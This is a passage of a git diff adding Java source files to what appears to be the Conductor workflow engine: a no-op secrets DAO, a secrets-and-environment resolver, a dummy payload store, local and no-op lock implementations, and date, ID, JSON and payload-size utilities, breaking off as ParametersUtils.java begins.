*

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.secrets; + +import java.util.Collections; +import java.util.List; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.dao.SecretsDAO; + +@Component +@ConditionalOnProperty(name = "conductor.secrets.type", havingValue = "noop") +public class NoopSecretsDAO implements SecretsDAO { + + @Override + public String getSecret(String name) { + return null; + } + + @Override + public boolean secretExists(String name) { + return false; + } + + @Override + public List listSecretNames() { + return Collections.emptyList(); + } + + @Override + public void putSecret(String name, String value) { + throw new UnsupportedOperationException("secrets are disabled"); + } + + @Override + public void deleteSecret(String name) { + throw new UnsupportedOperationException("secrets are disabled"); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/secrets/RuntimeMetadataResolver.java b/core/src/main/java/com/netflix/conductor/core/secrets/RuntimeMetadataResolver.java new file mode 100644 index 0000000..bec21bc --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/secrets/RuntimeMetadataResolver.java @@ -0,0 +1,58 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.secrets; + +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.dao.EnvironmentDAO; +import com.netflix.conductor.dao.SecretsDAO; + +@Component +public class RuntimeMetadataResolver { + private static final Logger LOGGER = LoggerFactory.getLogger(RuntimeMetadataResolver.class); + + private final SecretsDAO secretsDAO; + private final EnvironmentDAO environmentDAO; + + public RuntimeMetadataResolver(SecretsDAO secretsDAO, EnvironmentDAO environmentDAO) { + this.secretsDAO = secretsDAO; + this.environmentDAO = environmentDAO; + } + + /** Resolve each declared name (SecretsDAO first, EnvironmentDAO fallback); omit misses. */ + public Map resolve(List names) { + Map out = new LinkedHashMap<>(); + if (names == null) { + return out; + } + for (String name : names) { + String value = secretsDAO.getSecret(name); + if (value == null) { + value = environmentDAO.getEnvVariable(name); + } + if (value != null) { + out.put(name, value); + } else { + LOGGER.warn( + "Declared secret/env '{}' not found in secrets store or environment", name); + } + } + return out; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/storage/DummyPayloadStorage.java b/core/src/main/java/com/netflix/conductor/core/storage/DummyPayloadStorage.java new file mode 100644 index 0000000..a083405 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/storage/DummyPayloadStorage.java @@ -0,0 +1,101 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.storage; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.nio.file.Files; +import java.util.UUID; + +import org.apache.commons.io.IOUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * A dummy implementation of {@link ExternalPayloadStorage} used when no external payload is + * configured + */ +public class DummyPayloadStorage implements ExternalPayloadStorage { + + private static final Logger LOGGER = LoggerFactory.getLogger(DummyPayloadStorage.class); + + private ObjectMapper objectMapper; + private File payloadDir; + + public DummyPayloadStorage() { + try { + this.objectMapper = new ObjectMapper(); + this.payloadDir = Files.createTempDirectory("payloads").toFile(); + LOGGER.info( + "{} initialized in directory: {}", + this.getClass().getSimpleName(), + payloadDir.getAbsolutePath()); + } catch (IOException ioException) { + LOGGER.error( + "Exception encountered while creating payloads directory : {}", + ioException.getMessage()); + } + } + + @Override + public ExternalStorageLocation getLocation( + Operation operation, PayloadType payloadType, String path) { + ExternalStorageLocation location = new ExternalStorageLocation(); + location.setPath(path + UUID.randomUUID() + ".json"); + return location; + } + + @Override + public void upload(String path, InputStream payload, long payloadSize) { + File file = new File(payloadDir, path); + String filePath = file.getAbsolutePath(); + try { + if (!file.exists() && file.createNewFile()) { + LOGGER.debug("Created file: {}", filePath); + } + IOUtils.copy(payload, new FileOutputStream(file)); + LOGGER.debug("Written to {}", filePath); + } catch (IOException e) { + // just handle this exception here and return empty map so that test will fail in case + // this exception is thrown + LOGGER.error("Error writing to {}", filePath); + } finally { + try { + if (payload != null) { + payload.close(); + } + } catch (IOException e) { + LOGGER.warn("Unable to close input stream when writing to file"); + } + } + } + + @Override + public InputStream download(String path) { + try { + LOGGER.debug("Reading from {}", path); + return new FileInputStream(new File(payloadDir, path)); + } catch (IOException e) { + LOGGER.error("Error reading {}", path, e); + return null; + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/sync/Lock.java b/core/src/main/java/com/netflix/conductor/core/sync/Lock.java new file mode 100644 index 0000000..b219d41 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/sync/Lock.java @@ -0,0 +1,75 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.sync; + +import java.util.concurrent.TimeUnit; + +/** + * Interface implemented by a distributed lock client. + * + *

    A typical usage: + * + * 

    + *   if (acquireLock(workflowId, 5, TimeUnit.MILLISECONDS)) {
+ *      [load and execute workflow....]
+ *      ExecutionDAO.updateWorkflow(workflow);  //use optimistic locking
+ *   } finally {
+ *     releaseLock(workflowId)
+ *   }
+ *
    + */ +public interface Lock { + + /** + * Acquires a re-entrant lock on lockId, blocks indefinitely on lockId until it succeeds + * + * @param lockId resource to lock on + */ + void acquireLock(String lockId); + + /** + * Acquires a re-entrant lock on lockId, blocks for timeToTry duration before giving up + * + * @param lockId resource to lock on + * @param timeToTry blocks up to timeToTry duration in attempt to acquire the lock + * @param unit time unit + * @return true, if successfully acquired + */ + boolean acquireLock(String lockId, long timeToTry, TimeUnit unit); + + /** + * Acquires a re-entrant lock on lockId with provided leaseTime duration. Blocks for timeToTry + * duration before giving up + * + * @param lockId resource to lock on + * @param timeToTry blocks up to timeToTry duration in attempt to acquire the lock + * @param leaseTime Lock lease expiration duration. + * @param unit time unit + * @return true, if successfully acquired + */ + boolean acquireLock(String lockId, long timeToTry, long leaseTime, TimeUnit unit); + + /** + * Release a previously acquired lock + * + * @param lockId resource to lock on + */ + void releaseLock(String lockId); + + /** + * Explicitly cleanup lock resources, if releasing it wouldn't do so. + * + * @param lockId resource to lock on + */ + void deleteLock(String lockId); +} diff --git a/core/src/main/java/com/netflix/conductor/core/sync/local/LocalOnlyLock.java b/core/src/main/java/com/netflix/conductor/core/sync/local/LocalOnlyLock.java new file mode 100644 index 0000000..c3afafd --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/sync/local/LocalOnlyLock.java @@ -0,0 +1,125 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.sync.local; + +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.ScheduledFuture; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.locks.ReentrantLock; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.core.sync.Lock; + +import com.github.benmanes.caffeine.cache.CacheLoader; +import com.github.benmanes.caffeine.cache.Caffeine; +import com.github.benmanes.caffeine.cache.LoadingCache; + +public class LocalOnlyLock implements Lock { + + private static final Logger LOGGER = LoggerFactory.getLogger(LocalOnlyLock.class); + + private static final CacheLoader LOADER = key -> new ReentrantLock(true); + private static final ConcurrentHashMap> SCHEDULEDFUTURES = + new ConcurrentHashMap<>(); + private static final LoadingCache LOCKIDTOSEMAPHOREMAP = + Caffeine.newBuilder().build(LOADER); + private static final ThreadGroup THREAD_GROUP = new ThreadGroup("LocalOnlyLock-scheduler"); + private static final ThreadFactory THREAD_FACTORY = + runnable -> new Thread(THREAD_GROUP, runnable); + private static final ScheduledExecutorService SCHEDULER = + Executors.newScheduledThreadPool(1, THREAD_FACTORY); + + @Override + public void acquireLock(String lockId) { + LOGGER.trace("Locking {}", lockId); + LOCKIDTOSEMAPHOREMAP.get(lockId).lock(); + } + + @Override + public boolean acquireLock(String lockId, long timeToTry, TimeUnit unit) { + try { + LOGGER.trace("Locking {} with timeout {} {}", lockId, timeToTry, unit); + return LOCKIDTOSEMAPHOREMAP.get(lockId).tryLock(timeToTry, unit); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + throw new RuntimeException(e); + } + } + + @Override + public boolean acquireLock(String lockId, long timeToTry, long leaseTime, TimeUnit unit) { + LOGGER.trace( + "Locking {} with timeout {} {} for {} {}", + lockId, + timeToTry, + unit, + leaseTime, + unit); + if (acquireLock(lockId, timeToTry, unit)) { + LOGGER.trace("Releasing {} automatically after {} {}", lockId, leaseTime, unit); + SCHEDULEDFUTURES.put( + lockId, SCHEDULER.schedule(() -> deleteLock(lockId), leaseTime, unit)); + return true; + } + return false; + } + + private void removeLeaseExpirationJob(String lockId) { + ScheduledFuture schedFuture = SCHEDULEDFUTURES.get(lockId); + if (schedFuture != null && schedFuture.cancel(false)) { + SCHEDULEDFUTURES.remove(lockId); + LOGGER.trace("lockId {} removed from lease expiration job", lockId); + } + } + + @Override + public void releaseLock(String lockId) { + // Synchronized to prevent race condition between semaphore check and actual release + synchronized (LOCKIDTOSEMAPHOREMAP) { + if (LOCKIDTOSEMAPHOREMAP.getIfPresent(lockId) == null) { + return; + } + LOGGER.trace("Releasing {}", lockId); + try { + LOCKIDTOSEMAPHOREMAP.get(lockId).unlock(); + } catch (IllegalMonitorStateException e) { + // Releasing a lock without holding it can cause this exception, which can be + // ignored. + // This matches the behavior of RedisLock implementation. + } + removeLeaseExpirationJob(lockId); + } + } + + @Override + public void deleteLock(String lockId) { + LOGGER.trace("Deleting {}", lockId); + LOCKIDTOSEMAPHOREMAP.invalidate(lockId); + } + + @VisibleForTesting + LoadingCache cache() { + return LOCKIDTOSEMAPHOREMAP; + } + + @VisibleForTesting + ConcurrentHashMap> scheduledFutures() { + return SCHEDULEDFUTURES; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/sync/local/LocalOnlyLockConfiguration.java b/core/src/main/java/com/netflix/conductor/core/sync/local/LocalOnlyLockConfiguration.java new file mode 100644 index 0000000..790fda6 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/sync/local/LocalOnlyLockConfiguration.java @@ -0,0 +1,29 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.sync.local; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.core.sync.Lock; + +@Configuration +@ConditionalOnProperty(name = "conductor.workflow-execution-lock.type", havingValue = "local_only") +public class LocalOnlyLockConfiguration { + + @Bean + public Lock provideLock() { + return new LocalOnlyLock(); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/sync/noop/NoopLock.java b/core/src/main/java/com/netflix/conductor/core/sync/noop/NoopLock.java new file mode 100644 index 0000000..e372b26 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/sync/noop/NoopLock.java @@ -0,0 +1,39 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.sync.noop; + +import java.util.concurrent.TimeUnit; + +import com.netflix.conductor.core.sync.Lock; + +public class NoopLock implements Lock { + + @Override + public void acquireLock(String lockId) {} + + @Override + public boolean acquireLock(String lockId, long timeToTry, TimeUnit unit) { + return true; + } + + @Override + public boolean acquireLock(String lockId, long timeToTry, long leaseTime, TimeUnit unit) { + return true; + } + + @Override + public void releaseLock(String lockId) {} + + @Override + public void deleteLock(String lockId) {} +} diff --git a/core/src/main/java/com/netflix/conductor/core/utils/DateTimeUtils.java b/core/src/main/java/com/netflix/conductor/core/utils/DateTimeUtils.java new file mode 100644 index 0000000..0523ddf --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/utils/DateTimeUtils.java @@ -0,0 +1,51 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.text.ParseException; +import java.time.Duration; +import java.util.Date; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import org.apache.commons.lang3.time.DateUtils; + +public class DateTimeUtils { + + private static final String[] DATE_PATTERNS = + new String[] {"yyyy-MM-dd HH:mm", "yyyy-MM-dd HH:mm z", "yyyy-MM-dd"}; + private static final Pattern DURATION_PATTERN = + Pattern.compile( + """ + \\s*(?:(\\d+)\\s*(?:days?|d))?\ + \\s*(?:(\\d+)\\s*(?:hours?|hrs?|h))?\ + \\s*(?:(\\d+)\\s*(?:minutes?|mins?|m))?\ + \\s*(?:(\\d+)\\s*(?:seconds?|secs?|s))?\ + \\s*""", + Pattern.CASE_INSENSITIVE); + + public static Duration parseDuration(String text) { + Matcher m = DURATION_PATTERN.matcher(text); + if (!m.matches()) throw new IllegalArgumentException("Not valid duration: " + text); + + int days = (m.start(1) == -1 ? 0 : Integer.parseInt(m.group(1))); + int hours = (m.start(2) == -1 ? 0 : Integer.parseInt(m.group(2))); + int mins = (m.start(3) == -1 ? 0 : Integer.parseInt(m.group(3))); + int secs = (m.start(4) == -1 ? 0 : Integer.parseInt(m.group(4))); + return Duration.ofSeconds((days * 86400) + (hours * 60L + mins) * 60L + secs); + } + + public static Date parseDate(String date) throws ParseException { + return DateUtils.parseDate(date, DATE_PATTERNS); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/utils/ExternalPayloadStorageUtils.java b/core/src/main/java/com/netflix/conductor/core/utils/ExternalPayloadStorageUtils.java new file mode 100644 index 0000000..e9ff71f --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/utils/ExternalPayloadStorageUtils.java @@ -0,0 +1,255 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.Map; + +import org.apache.commons.io.IOUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.common.utils.ExternalPayloadStorage.PayloadType; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** Provides utility functions to upload and download payloads to {@link ExternalPayloadStorage} */ +@Component +public class ExternalPayloadStorageUtils { + + private static final Logger LOGGER = LoggerFactory.getLogger(ExternalPayloadStorageUtils.class); + + private final ExternalPayloadStorage externalPayloadStorage; + private final ConductorProperties properties; + private final ObjectMapper objectMapper; + + public ExternalPayloadStorageUtils( + ExternalPayloadStorage externalPayloadStorage, + ConductorProperties properties, + ObjectMapper objectMapper) { + this.externalPayloadStorage = externalPayloadStorage; + this.properties = properties; + this.objectMapper = objectMapper; + } + + /** + * Download the payload from the given path. + * + * @param path the relative path of the payload in the {@link ExternalPayloadStorage} + * @return the payload object + * @throws NonTransientException in case of JSON parsing errors or download errors + */ + @SuppressWarnings("unchecked") + public Map downloadPayload(String path) { + try (InputStream inputStream = externalPayloadStorage.download(path)) { + return objectMapper.readValue( + IOUtils.toString(inputStream, StandardCharsets.UTF_8), Map.class); + } catch (TransientException te) { + throw te; + } catch (Exception e) { + LOGGER.error("Unable to download payload from external storage path: {}", path, e); + throw new NonTransientException( + "Unable to download payload from external storage path: " + path, e); + } + } + + /** + * Verify the payload size and upload to external storage if necessary. + * + * @param entity the task or workflow for which the payload is to be verified and uploaded + * @param payloadType the {@link PayloadType} of the payload + * @param {@link TaskModel} or {@link WorkflowModel} + * @throws NonTransientException in case of JSON parsing errors or upload errors + * @throws TerminateWorkflowException if the payload size is bigger than permissible limit as + * per {@link ConductorProperties} + */ + public void verifyAndUpload(T entity, PayloadType payloadType) { + if (!shouldUpload(entity, payloadType)) return; + + long threshold = 0L; + long maxThreshold = 0L; + Map payload = new HashMap<>(); + String workflowId = ""; + switch (payloadType) { + case TASK_INPUT: + threshold = properties.getTaskInputPayloadSizeThreshold().toKilobytes(); + maxThreshold = properties.getMaxTaskInputPayloadSizeThreshold().toKilobytes(); + payload = ((TaskModel) entity).getInputData(); + workflowId = ((TaskModel) entity).getWorkflowInstanceId(); + break; + case TASK_OUTPUT: + threshold = properties.getTaskOutputPayloadSizeThreshold().toKilobytes(); + maxThreshold = properties.getMaxTaskOutputPayloadSizeThreshold().toKilobytes(); + payload = ((TaskModel) entity).getOutputData(); + workflowId = ((TaskModel) entity).getWorkflowInstanceId(); + break; + case WORKFLOW_INPUT: + threshold = properties.getWorkflowInputPayloadSizeThreshold().toKilobytes(); + maxThreshold = properties.getMaxWorkflowInputPayloadSizeThreshold().toKilobytes(); + payload = ((WorkflowModel) entity).getInput(); + workflowId = ((WorkflowModel) entity).getWorkflowId(); + break; + case WORKFLOW_OUTPUT: + threshold = properties.getWorkflowOutputPayloadSizeThreshold().toKilobytes(); + maxThreshold = properties.getMaxWorkflowOutputPayloadSizeThreshold().toKilobytes(); + payload = ((WorkflowModel) entity).getOutput(); + workflowId = ((WorkflowModel) entity).getWorkflowId(); + break; + } + + try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream()) { + objectMapper.writeValue(byteArrayOutputStream, payload); + byte[] payloadBytes = byteArrayOutputStream.toByteArray(); + long payloadSize = payloadBytes.length; + + final long maxThresholdInBytes = maxThreshold * 1024; + if (payloadSize > maxThresholdInBytes) { + if (entity instanceof TaskModel) { + String errorMsg = + String.format( + "The payload size: %d of task: %s in workflow: %s is greater than the permissible limit: %d bytes", + payloadSize, + ((TaskModel) entity).getTaskId(), + ((TaskModel) entity).getWorkflowInstanceId(), + maxThresholdInBytes); + failTask(((TaskModel) entity), payloadType, errorMsg); + } else { + String errorMsg = + String.format( + "The payload size: %d of workflow: %s is greater than the permissible limit: %d bytes", + payloadSize, + ((WorkflowModel) entity).getWorkflowId(), + maxThresholdInBytes); + failWorkflow(((WorkflowModel) entity), payloadType, errorMsg); + } + } else if (payloadSize > threshold * 1024) { + String externalInputPayloadStoragePath, externalOutputPayloadStoragePath; + switch (payloadType) { + case TASK_INPUT: + externalInputPayloadStoragePath = + uploadHelper(payloadBytes, payloadSize, PayloadType.TASK_INPUT); + ((TaskModel) entity).externalizeInput(externalInputPayloadStoragePath); + Monitors.recordExternalPayloadStorageUsage( + ((TaskModel) entity).getTaskDefName(), + ExternalPayloadStorage.Operation.WRITE.toString(), + PayloadType.TASK_INPUT.toString()); + break; + case TASK_OUTPUT: + externalOutputPayloadStoragePath = + uploadHelper(payloadBytes, payloadSize, PayloadType.TASK_OUTPUT); + ((TaskModel) entity).externalizeOutput(externalOutputPayloadStoragePath); + Monitors.recordExternalPayloadStorageUsage( + ((TaskModel) entity).getTaskDefName(), + ExternalPayloadStorage.Operation.WRITE.toString(), + PayloadType.TASK_OUTPUT.toString()); + break; + case WORKFLOW_INPUT: + externalInputPayloadStoragePath = + uploadHelper(payloadBytes, payloadSize, PayloadType.WORKFLOW_INPUT); + ((WorkflowModel) entity).externalizeInput(externalInputPayloadStoragePath); + Monitors.recordExternalPayloadStorageUsage( + ((WorkflowModel) entity).getWorkflowName(), + ExternalPayloadStorage.Operation.WRITE.toString(), + PayloadType.WORKFLOW_INPUT.toString()); + break; + case WORKFLOW_OUTPUT: + externalOutputPayloadStoragePath = + uploadHelper( + payloadBytes, payloadSize, PayloadType.WORKFLOW_OUTPUT); + ((WorkflowModel) entity) + .externalizeOutput(externalOutputPayloadStoragePath); + Monitors.recordExternalPayloadStorageUsage( + ((WorkflowModel) entity).getWorkflowName(), + ExternalPayloadStorage.Operation.WRITE.toString(), + PayloadType.WORKFLOW_OUTPUT.toString()); + break; + } + } + } catch (TransientException | TerminateWorkflowException te) { + throw te; + } catch (Exception e) { + LOGGER.error( + "Unable to upload payload to external storage for workflow: {}", workflowId, e); + throw new NonTransientException( + "Unable to upload payload to external storage for workflow: " + workflowId, e); + } + } + + @VisibleForTesting + String uploadHelper( + byte[] payloadBytes, long payloadSize, ExternalPayloadStorage.PayloadType payloadType) { + ExternalStorageLocation location = + externalPayloadStorage.getLocation( + ExternalPayloadStorage.Operation.WRITE, payloadType, "", payloadBytes); + externalPayloadStorage.upload( + location.getPath(), new ByteArrayInputStream(payloadBytes), payloadSize); + return location.getPath(); + } + + @VisibleForTesting + void failTask(TaskModel task, PayloadType payloadType, String errorMsg) { + LOGGER.error(errorMsg); + task.setReasonForIncompletion(errorMsg); + task.setStatus(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR); + if (payloadType == PayloadType.TASK_INPUT) { + task.setInputData(new HashMap<>()); + } else { + task.setOutputData(new HashMap<>()); + } + } + + @VisibleForTesting + void failWorkflow(WorkflowModel workflow, PayloadType payloadType, String errorMsg) { + LOGGER.error(errorMsg); + if (payloadType == PayloadType.WORKFLOW_INPUT) { + workflow.setInput(new HashMap<>()); + } else { + workflow.setOutput(new HashMap<>()); + } + throw new TerminateWorkflowException(errorMsg); + } + + @VisibleForTesting + boolean shouldUpload(T entity, PayloadType payloadType) { + if (entity instanceof TaskModel) { + TaskModel taskModel = (TaskModel) entity; + if (payloadType == PayloadType.TASK_INPUT) { + return !taskModel.getRawInputData().isEmpty(); + } else { + return !taskModel.getRawOutputData().isEmpty(); + } + } else { + WorkflowModel workflowModel = (WorkflowModel) entity; + if (payloadType == PayloadType.WORKFLOW_INPUT) { + return !workflowModel.getRawInput().isEmpty(); + } else { + return !workflowModel.getRawOutput().isEmpty(); + } + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/utils/IDGenerator.java b/core/src/main/java/com/netflix/conductor/core/utils/IDGenerator.java new file mode 100644 index 0000000..19ffcbf --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/utils/IDGenerator.java @@ -0,0 +1,41 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.nio.charset.StandardCharsets; +import java.util.UUID; + +/** + * ID Generator used by Conductor. The default ID generator uses UUID v4 as the ID format. By + * providing a custom IDGenerator bean it is possible to use a different scheme for ID generation. + * However, this is not normal and should only be done after very careful consideration. + * + *

    Please note, if you use Cassandra persistence, the schema uses UUID as the column type and the + * IDs have to be valid UUIDs supported by Cassandra. + */ +public class IDGenerator { + + public IDGenerator() {} + + public String generate() { + return UUID.randomUUID().toString(); + } + + public String generateSubWorkflowId( + String parentWorkflowId, String parentWorkflowTaskId, int retryCount) { + String source = + String.format( + "subworkflow:%s:%s:%d", parentWorkflowId, parentWorkflowTaskId, retryCount); + return UUID.nameUUIDFromBytes(source.getBytes(StandardCharsets.UTF_8)).toString(); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/utils/JsonUtils.java b/core/src/main/java/com/netflix/conductor/core/utils/JsonUtils.java new file mode 100644 index 0000000..2ec74e5 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/utils/JsonUtils.java @@ -0,0 +1,101 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.util.List; +import java.util.Map; + +import org.springframework.stereotype.Component; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** This class contains utility functions for parsing/expanding JSON. */ +@SuppressWarnings("unchecked") +@Component +public class JsonUtils { + + private final ObjectMapper objectMapper; + + public JsonUtils(ObjectMapper objectMapper) { + this.objectMapper = objectMapper; + } + + /** + * Expands a JSON object into a java object + * + * @param input the object to be expanded + * @return the expanded object containing java types like {@link Map} and {@link List} + */ + public Object expand(Object input) { + if (input instanceof List) { + expandList((List) input); + return input; + } else if (input instanceof Map) { + expandMap((Map) input); + return input; + } else if (input instanceof String) { + return getJson((String) input); + } else { + return input; + } + } + + private void expandList(List input) { + for (Object value : input) { + if (value instanceof String) { + if (isJsonString(value.toString())) { + value = getJson(value.toString()); + } + } else if (value instanceof Map) { + expandMap((Map) value); + } else if (value instanceof List) { + expandList((List) value); + } + } + } + + private void expandMap(Map input) { + for (Map.Entry entry : input.entrySet()) { + Object value = entry.getValue(); + if (value instanceof String) { + if (isJsonString(value.toString())) { + entry.setValue(getJson(value.toString())); + } + } else if (value instanceof Map) { + expandMap((Map) value); + } else if (value instanceof List) { + expandList((List) value); + } + } + } + + /** + * Used to obtain a JSONified object from a string + * + * @param jsonAsString the json object represented in string form + * @return the JSONified object representation if the input is a valid json string if the input + * is not a valid json string, it will be returned as-is and no exception is thrown + */ + private Object getJson(String jsonAsString) { + try { + return objectMapper.readValue(jsonAsString, Object.class); + } catch (Exception e) { + return jsonAsString; + } + } + + private boolean isJsonString(String jsonAsString) { + jsonAsString = jsonAsString.trim(); + return jsonAsString.startsWith("{") || jsonAsString.startsWith("["); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/utils/ParametersUtils.java b/core/src/main/java/com/netflix/conductor/core/utils/ParametersUtils.java new file mode 100644 index 0000000..978cd57 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/utils/ParametersUtils.java @@ -0,0 +1,494 @@ +/* + * Copyright 2022 Conductor 